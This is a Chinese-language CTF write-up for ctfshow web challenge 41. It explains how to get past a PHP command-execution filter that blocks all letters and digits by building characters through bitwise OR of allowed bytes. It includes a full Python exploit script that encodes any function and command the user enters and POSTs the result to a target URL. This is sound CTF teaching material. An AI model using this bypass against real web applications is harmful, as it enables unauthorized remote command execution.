ctfshow 命令执行(无数字字母执行webshell) web入门41

君叹   ·   发表于 2022-10-24 15:31:57   ·   CTF&WP专版

解题思路以及代码思路完全来源于羽大佬的博客:https://blog.csdn.net/miuzzx/article/details/108569080
Exploit在此基础上做了一些改进
代码在附件里有

1 解题思路

首先我们可以看到这里过滤的很多,0-9,a-z
这么一看好像是没办法做了,毕竟字母数字都过滤掉了


但是留下了一个字符 |
管道符
这个管道符有什么用呢
可以看这里这篇博客:https://blog.csdn.net/weixin_49278803/article/details/120453347
第二部分的

当比较单位为数值单位时,进行位运算
这是在python中的,python里只能数字之间才能进行位运算(应该)
但是python想要实现字符之间的位运算,可以这样

chr(ord("a") | ord("b"))

这里得到的结果是 c


也就是说,我们可以通过两个字符的位运算,来得到另一个字符
比如说,假如我们想要执行一个system(ls)
但是s不能用
我们先找到 s 的ascii码,16进制对应的那个,url编码也一样


0x73,那么我们只需要知道,哪两个16进制数字进行 | 运算会得到 73,并且这两个16进制对应的字符,能够通过上面的正则表达式,那么我们就可以成功执行一个s了

还挺多的


但是我们上面有个正则表达式限制
我们再改进一下代码

这样得到的就是可以通过正则表达式的结果了


2 EXP代码

import re
import requests
import urllib


def isTrue(reg, asc: int) -> bool:
    return reg.match(chr(asc)) is None


def toUrlCode(asc: int) -> str:
    return hex(asc).replace("0x", '%') if asc > 15 else hex(asc).replace("0x", '%0')


def charOrDict(reg) -> dict:
    """
    :rtype: object
    :param reg: 正则表达式
    :return: dic[字符] = [字符1,字符2] # (字符1 | 字符2) = 字符
    """
    dic = {}
    for i in range(256):
        for j in range(256):
            if isTrue(reg, i) and isTrue(reg, j):
                char = chr(i | j)
                if char in dic:
                    continue
                if ord(char)  126:
                    break
                hex_i = toUrlCode(i)
                hex_j = toUrlCode(j)
                dic[char] = [hex_i, hex_j]
    return dic


def getCharOr(char: str, dic: dict) -> str:
    s1 = ""
    s2 = ""
    for i in char:
        s1 += dic[i][0]
        s2 += dic[i][1]
    output = f'("{s1}"|"{s2}")'
    return output


def main():
    url = input("33[94m%s33[0m" % "[*] Url:")
    reg = re.compile("[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-", re.I)
    charOrdic = charOrDict(reg)

    while True:
        param = getCharOr(input("33[94m%s33[0m" % "[*] your function:"), charOrdic) + getCharOr(
            input("33[94m%s33[0m" % "[*] your command:"), charOrdic)
        print(param)
        print(urllib.parse.unquote(param))
        data = {
            'c': urllib.parse.unquote(param)
        }
        r = requests.post(url, data=data)
        print("33[92m%s33[0m" % f"[+] result:\n{r.text}")


if __name__ == '__main__':
    main()

打赏我,让我更有动力~

附件列表

代码.zip   文件大小:0.001M (下载次数:0)

0 条回复   |  直到 2022-10-24 | 715 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.